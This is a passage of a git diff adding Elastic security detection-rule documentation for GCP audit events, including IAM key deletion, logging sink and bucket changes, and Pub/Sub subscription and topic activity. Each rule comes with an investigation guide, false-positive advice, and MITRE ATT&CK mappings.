permissions to modify IAM roles. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteRole and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-service-account-key-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-service-account-key-deletion.asciidoc new file mode 100644 index 0000000000..3d27df4963 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-service-account-key-deletion.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-gcp-iam-service-account-key-deletion]] +=== GCP IAM Service Account Key Deletion + +Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Service Account Key Deletion* + + +In GCP, IAM service account keys authenticate applications to access resources. Regular key rotation is crucial for security. Adversaries might delete keys to disrupt services or cover tracks after unauthorized access. The detection rule monitors audit logs for successful key deletions, flagging potential misuse or policy violations, aiding in timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.DeleteServiceAccountKey to identify the service account key that was deleted. +- Check the event.outcome: success to confirm the key deletion was successful and not an attempted action. +- Identify the user or service account responsible for the deletion by examining the actor information in the audit logs. +- Investigate the context around the deletion event, including the timestamp and any preceding or subsequent actions in the logs, to understand the sequence of events. +- Verify if the key deletion aligns with the organization's key rotation policy or if it appears suspicious or unauthorized. +- Assess the impact of the key deletion on applications or services that rely on the affected service account for authentication. +- If unauthorized activity is suspected, initiate a broader investigation into potential unauthorized access or other malicious activities involving the affected service account. + + +*False positive analysis* + + +- Routine key rotation activities by administrators can trigger alerts. To manage this, establish a baseline of expected key rotation schedules and exclude these from alerts. +- Automated scripts or tools that perform regular maintenance and key management might cause false positives. Identify these scripts and whitelist their actions in the monitoring system. +- Service account keys associated with non-critical or test environments may be deleted frequently as part of normal operations. Consider excluding these environments from the alerting criteria to reduce noise. +- Temporary service accounts used for short-term projects or testing may have keys deleted as part of their lifecycle. Document these accounts and adjust the detection rule to ignore deletions from these specific accounts. + + +*Response and remediation* + + +- Immediately revoke any remaining access for the compromised service account to prevent further unauthorized access to Google Cloud resources. +- Investigate the audit logs to identify any unauthorized actions performed using the deleted key and assess the impact on affected resources. +- Recreate the deleted service account key if necessary, ensuring that the new key is securely stored and access is restricted to authorized personnel only. +- Implement additional monitoring on the affected service account to detect any further suspicious activities or unauthorized access attempts. +- Escalate the incident to the security operations team for a comprehensive review and to determine if further investigation or response is required. +- Review and update the key rotation policy to ensure that service account keys are rotated more frequently and securely managed to prevent similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-bucket-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-bucket-deletion.asciidoc new file mode 100644 index 0000000000..772c21cc51 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-bucket-deletion.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-gcp-logging-bucket-deletion]] +=== GCP Logging Bucket Deletion + +Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may delete a log bucket to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/buckets +* https://cloud.google.com/logging/docs/storage + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Bucket Deletion* + + +In GCP, log buckets are essential for storing and organizing log data, crucial for monitoring and auditing activities. Adversaries may delete these buckets to obscure their tracks and evade detection. The detection rule identifies successful deletion events by monitoring specific audit logs, focusing on actions that indicate bucket removal. This helps security analysts quickly spot and respond to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.logging.v*.ConfigServiceV*.DeleteBucket to confirm the deletion event and gather details such as the timestamp, user identity, and source IP address. +- Investigate the user account associated with the event to determine if the action was authorized or if there are any signs of compromise, such as unusual login locations or times. +- Check for any recent changes to log sinks that might indicate an attempt to stop log routing to the deleted bucket, which could suggest intentional evasion. +- Assess the impact of the bucket deletion by identifying which logs were being routed to the bucket and determining if any critical log data might be lost or compromised. +- Look for any correlated events or alerts around the same timeframe that might indicate a broader attack or unauthorized activity within the GCP environment. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may trigger bucket deletion events. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools used for log management might delete buckets as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by filtering based on their service accounts or specific identifiers. +- Testing environments often involve the creation and deletion of resources, including log buckets. Exclude events from these environments by using labels or project identifiers to differentiate them from production environments. +- Scheduled cleanup jobs that remove old or unused buckets can generate false positives. Document these jobs and adjust the detection rule to ignore deletions occurring within their scheduled time frames. +- Misconfigured log sinks that inadvertently delete buckets should be reviewed. Regularly audit and adjust sink configurations to ensure they align with intended log routing and retention policies. + + +*Response and remediation* + + +- Immediately halt any ongoing log routing to the deleted bucket by deleting or modifying the log sinks associated with it to prevent further data loss. +- Restore the deleted log bucket from its pending deletion state within the 7-day window to recover any logs that may still be routed to it. +- Conduct a thorough review of IAM permissions and roles to ensure that only authorized personnel have the ability to delete log buckets, reducing the risk of unauthorized deletions. +- Implement additional logging and monitoring for any changes to log sinks and bucket configurations to detect and respond to similar activities promptly. +- Escalate the incident to the security operations team for further investigation and to determine if the deletion was part of a broader attack strategy. +- Review and update incident response plans to include specific procedures for handling log bucket deletions and similar defense evasion tactics. +- Consider enabling alerts for any future attempts to delete log buckets, ensuring rapid detection and response to potential threats. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.DeleteBucket and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-sink-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-sink-deletion.asciidoc new file mode 100644 index 0000000000..d6c9b90981 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-sink-deletion.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-gcp-logging-sink-deletion]] +=== GCP Logging Sink Deletion + +Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may delete a Logging sink to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/export + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Sink Deletion* + + +In GCP, logging sinks are crucial for exporting log entries to designated destinations for analysis and storage. Adversaries may delete these sinks to prevent logs from being exported, thereby evading detection. The detection rule identifies successful deletion events by monitoring specific audit logs, helping security teams quickly respond to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.logging.v*.ConfigServiceV*.DeleteSink to identify the user or service account responsible for the deletion. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent suspicious activities by the same user or service account, which might indicate a pattern of malicious behavior. +- Investigate the event.outcome:success to confirm the deletion was successful and determine the impact on log monitoring and export capabilities. +- Assess the context and timing of the deletion event to see if it coincides with other security alerts or incidents, which might suggest a coordinated attack. +- Verify the permissions and roles assigned to the user or service account involved in the deletion to ensure they align with the principle of least privilege and identify any potential misconfigurations. + + +*False positive analysis* + + +- Routine maintenance or configuration changes by authorized personnel can trigger false positives. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for managing logging configurations might inadvertently delete sinks as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or service accounts. +- Changes in project ownership or restructuring within the organization can lead to legitimate sink deletions. Document these organizational changes and adjust the monitoring rules to account for them, ensuring that alerts are only generated for unexpected deletions. +- Test environments often undergo frequent changes, including sink deletions, which can result in false positives. Implement separate monitoring rules or exceptions for test environments to reduce noise in alerting. + + +*Response and remediation* + + +- Immediately revoke access to the affected GCP project for any suspicious or unauthorized users identified in the audit logs to prevent further malicious activity. +- Restore the deleted logging sink by recreating it with the original configuration to ensure that log entries are once again exported to the designated destination. +- Conduct a thorough review of recent log entries and audit logs to identify any other unauthorized changes or suspicious activities that may have occurred around the time of the sink deletion. +- Implement additional monitoring and alerting for any future attempts to delete logging sinks, focusing on the specific event action and outcome fields used in the detection query. +- Escalate the incident to the security operations team for further investigation and to determine if the sink deletion is part of a larger attack campaign. +- Review and update access controls and permissions for logging sink management to ensure that only authorized personnel have the ability to modify or delete sinks. +- Consider enabling additional security features such as VPC Service Controls or Organization Policy constraints to provide an extra layer of protection against unauthorized modifications to logging configurations. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.DeleteSink and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-sink-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-sink-modification.asciidoc new file mode 100644 index 0000000000..743961356f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-logging-sink-modification.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-gcp-logging-sink-modification]] +=== GCP Logging Sink Modification + +Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/export#how_sinks_work + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Sink Modification* + + +In GCP, logging sinks are used to route log entries to specified destinations for storage or analysis. Adversaries may exploit this by altering sink configurations to redirect logs to unauthorized locations, facilitating data exfiltration. The detection rule identifies successful modifications to logging sinks, signaling potential misuse by monitoring specific audit events related to sink updates. + + +*Possible investigation steps* + + +- Review the event details for the specific `event.action` field value `google.logging.v*.ConfigServiceV*.UpdateSink` to confirm the type of modification made to the logging sink. +- Check the `event.outcome` field to ensure the modification was successful, as indicated by the value `success`. +- Identify the user or service account responsible for the modification by examining the `actor` or `principalEmail` fields in the audit log. +- Investigate the `resource` field to determine which logging sink was modified and assess its intended purpose and usual configuration. +- Analyze the `destination` field in the sink configuration to verify if the new export destination is authorized and aligns with organizational policies. +- Review historical logs for any previous modifications to the same logging sink to identify patterns or repeated unauthorized changes. +- Correlate this event with other security alerts or anomalies in the environment to assess if this modification is part of a broader attack or data exfiltration attempt. + + +*False positive analysis* + + +- Routine updates to logging sinks by authorized personnel can trigger alerts. To manage this, maintain a list of known and trusted users who regularly perform these updates and create exceptions for their actions. +- Automated processes or scripts that update logging sinks as part of regular maintenance or deployment activities may cause false positives. Identify these processes and exclude their specific actions from triggering alerts. +- Changes to logging sinks during scheduled maintenance windows can be mistaken for unauthorized modifications. Define and exclude these time periods from monitoring to reduce unnecessary alerts. +- Integration with third-party tools that require sink modifications for functionality might generate false positives. Document these integrations and adjust the detection rule to account for their expected behavior. +- Frequent changes in a dynamic environment, such as development or testing environments, can lead to false positives. Consider applying the rule more stringently in production environments while relaxing it in non-production settings. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized modification of the logging sink and identify the source of the change, including the user account and IP address involved. +- Revert the logging sink configuration to its original state to ensure logs are directed to the intended, secure destination. +- Temporarily disable or restrict access to the user account or service account that made the unauthorized change to prevent further unauthorized actions. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized modification and initial containment actions taken. +- Conduct a thorough investigation to determine if any data was exfiltrated and assess the potential impact on the organization. +- Implement additional monitoring and alerting for changes to logging sink configurations to detect similar unauthorized modifications in the future. +- Review and strengthen access controls and permissions related to logging sink configurations to prevent unauthorized modifications, ensuring that only authorized personnel have the necessary permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.UpdateSink and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-subscription-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-subscription-creation.asciidoc new file mode 100644 index 0000000000..0379c54bee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-subscription-creation.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-gcp-pub-sub-subscription-creation]] +=== GCP Pub/Sub Subscription Creation + +Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Subscription Creation* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between applications by decoupling event producers and consumers. Adversaries might exploit this by creating unauthorized subscriptions to intercept or exfiltrate sensitive data streams. The detection rule monitors audit logs for successful subscription creation events, helping identify potential misuse by flagging unexpected or suspicious activity. + + +*Possible investigation steps* + + +- Review the audit log entry associated with the alert to identify the user or service account responsible for the subscription creation by examining the `event.dataset` and `event.action` fields. +- Verify the legitimacy of the subscription by checking the associated project and topic details to ensure they align with expected configurations and business needs. +- Investigate the history of the user or service account involved in the subscription creation to identify any unusual or unauthorized activities, focusing on recent changes or access patterns. +- Assess the permissions and roles assigned to the user or service account to determine if they have the necessary privileges for subscription creation and whether these permissions are appropriate. +- Consult with relevant stakeholders or application owners to confirm whether the subscription creation was authorized and necessary for operational purposes. + + +*False positive analysis* + + +- Routine subscription creation by automated deployment tools or scripts can trigger false positives. Identify and whitelist these tools by excluding their service accounts from the detection rule. +- Development and testing environments often create and delete subscriptions frequently. Exclude these environments by filtering out specific project IDs associated with non-production use. +- Scheduled maintenance or updates might involve creating new subscriptions temporarily. Coordinate with the operations team to understand regular maintenance schedules and adjust the rule to ignore these activities during known maintenance windows. +- Internal monitoring or logging services that create subscriptions for legitimate data collection purposes can be excluded by identifying their specific patterns or naming conventions and adding them to an exception list. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized subscription creation and identify the source, including the user or service account responsible for the action. +- Revoke access for the identified user or service account to prevent further unauthorized actions. Ensure that the principle of least privilege is enforced. +- Delete the unauthorized subscription to stop any potential data interception or exfiltration. +- Conduct a thorough review of all existing subscriptions to ensure no other unauthorized subscriptions exist. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring and alerting for subscription creation events to detect similar activities in the future. +- If applicable, report the incident to Google Cloud support for further assistance and to understand if there are any broader implications or vulnerabilities. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Subscriber.CreateSubscription and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-subscription-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-subscription-deletion.asciidoc new file mode 100644 index 0000000000..9b69284591 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-subscription-deletion.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-gcp-pub-sub-subscription-deletion]] +=== GCP Pub/Sub Subscription Deletion + +Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Subscription Deletion* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between event producers and consumers. Subscriptions in Pub/Sub are crucial for message delivery to applications. Adversaries may delete subscriptions to disrupt communication, evade detection, or impair defenses. The detection rule monitors audit logs for successful subscription deletions, flagging potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.pubsub.v*.Subscriber.DeleteSubscription to identify the user or service account responsible for the deletion. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent actions by the same user or service account to determine if there is a pattern of suspicious activity. +- Investigate the context of the deleted subscription by examining the associated project and any related resources to understand the potential impact on the application or service. +- Verify if the deletion aligns with any recent changes or maintenance activities within the organization to rule out legitimate actions. +- Assess the permissions and roles assigned to the user or service account to ensure they are appropriate and not overly permissive, which could indicate a security risk. +- Consult with the relevant application or service owners to confirm whether the subscription deletion was authorized and necessary. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may lead to subscription deletions that are not malicious. To manage this, create exceptions for known maintenance windows or specific admin accounts. +- Automated scripts or tools used for managing Pub/Sub resources might delete subscriptions as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development and testing environments often involve frequent creation and deletion of subscriptions. Exclude these environments from alerts by filtering based on project IDs or environment tags. +- Subscription deletions as part of a resource cleanup process can be non-threatening. Document and exclude these processes by identifying patterns in the audit logs, such as specific user agents or IP addresses associated with cleanup operations. + + +*Response and remediation* + + +- Immediately verify the legitimacy of the subscription deletion by contacting the responsible team or individual to confirm if the action was authorized. +- If unauthorized, revoke access for the user or service account involved in the deletion to prevent further unauthorized actions. +- Restore the deleted subscription from backup or recreate it if necessary, ensuring that message delivery to the application is resumed. +- Conduct a thorough review of audit logs to identify any other suspicious activities or patterns that may indicate further compromise. +- Implement additional access controls and monitoring for Pub/Sub resources to prevent unauthorized deletions in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were affected. +- Update incident response plans and playbooks to include specific procedures for handling Pub/Sub subscription deletions and similar threats. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Subscriber.DeleteSubscription and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-topic-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-topic-creation.asciidoc new file mode 100644 index 0000000000..5b4527753e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-topic-creation.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-gcp-pub-sub-topic-creation]] +=== GCP Pub/Sub Topic Creation + +Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is used to forward messages from publishers to subscribers. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/admin + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Topic Creation* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between independent applications. It uses topics to route messages from publishers to subscribers. Adversaries might exploit this by creating unauthorized topics to exfiltrate data or disrupt services. The detection rule monitors successful topic creation events, helping identify potential misuse by flagging unexpected or suspicious activity. + + +*Possible investigation steps* + + +- Review the event details to confirm the presence of the event.action field with the value google.pubsub.v*.Publisher.CreateTopic and ensure the event.outcome is success. +- Identify the user or service account associated with the topic creation by examining the actor information in the event logs. +- Check the project and resource details to determine the context and environment where the topic was created, including the project ID and resource name. +- Investigate the purpose and necessity of the newly created topic by consulting with relevant stakeholders or reviewing documentation related to the project. +- Analyze historical logs to identify any unusual patterns or anomalies in topic creation activities by the same user or within the same project. +- Assess the permissions and roles assigned to the user or service account to ensure they align with the principle of least privilege. +- If suspicious activity is confirmed, consider 